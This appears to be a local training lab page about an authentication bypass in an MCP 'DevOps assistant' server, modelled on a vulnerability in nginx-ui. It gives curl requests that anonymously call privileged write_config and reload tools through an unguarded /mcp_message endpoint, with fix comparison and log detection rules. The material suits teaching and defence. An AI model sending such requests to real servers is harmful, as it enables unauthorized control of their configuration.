// what this is
One MCP server, two doors
A "DevOps assistant" MCP server exposes tools that manage a server's config:
list_config, read_config, write_config,
reload, export_history. The last three are privileged.
The server has two HTTP endpoints that both reach those same tools:
/mcp and /mcp_message.
/mcp checks your
bearer token, but /mcp_message is guarded only by an IP allow-list — and
an empty allow-list means allow everyone. It never checks the token, yet it calls
the same privileged handlers. This is the shape of CVE-2026-33032 ("MCPwn") in nginx-ui.Origin header to block DNS-rebinding.Use the top bar to switch who you are (token or none) and which build you hit. Everything
is fake and in-memory, on 127.0.0.1 only. This is an authorized, local lab.
// mission 1
Find the door with no lock
As anonymous (no token), try the main endpoint first, then the message endpoint. You are only reading and listing here — map the surface before you touch anything.
tools/list on each route and compare.Results appear here.
Option 2: from the terminal (curl)
B=http://127.0.0.1:8200
# main endpoint rejects the anonymous caller
curl -s -X POST $B/vuln/mcp -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
# the message endpoint answers the same anonymous caller
curl -s -X POST $B/vuln/mcp_message -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'// mission 2
Take control through the unlocked door
Still anonymous on vulnerable. Now use the privileged tools through
/mcp_message: write a new config file and reload the server — with no token.
Results appear here.
Option 2: from the terminal (curl)
B=http://127.0.0.1:8200
curl -s -X POST $B/vuln/mcp_message -H 'Content-Type: application/json' -d '{
"jsonrpc":"2.0","id":1,"method":"tools/call",
"params":{"name":"write_config","arguments":{"path":"sites/attacker.conf","content":"# anon\n"}}}'
curl -s -X POST $B/vuln/mcp_message -H 'Content-Type: application/json' -d '{
"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reload","arguments":{}}}'// mission 3
Flip to fixed and replay
Press the button to run the full request matrix against both builds. A violation is a privileged tool call that succeeded with no token.
vulnerable
fixed
// detection
Server log
One structured line per MCP call. The two rules that catch the attack:
a privileged call that was not authenticated and still succeeded, and any success on
/mcp_message with authenticated=false. Flagged rows are highlighted.
| # | route | auth | method | tool | status | flag |
|---|
// the one difference
Vulnerable vs fixed routing
Loaded live from the running server (/lab/source).
Loading…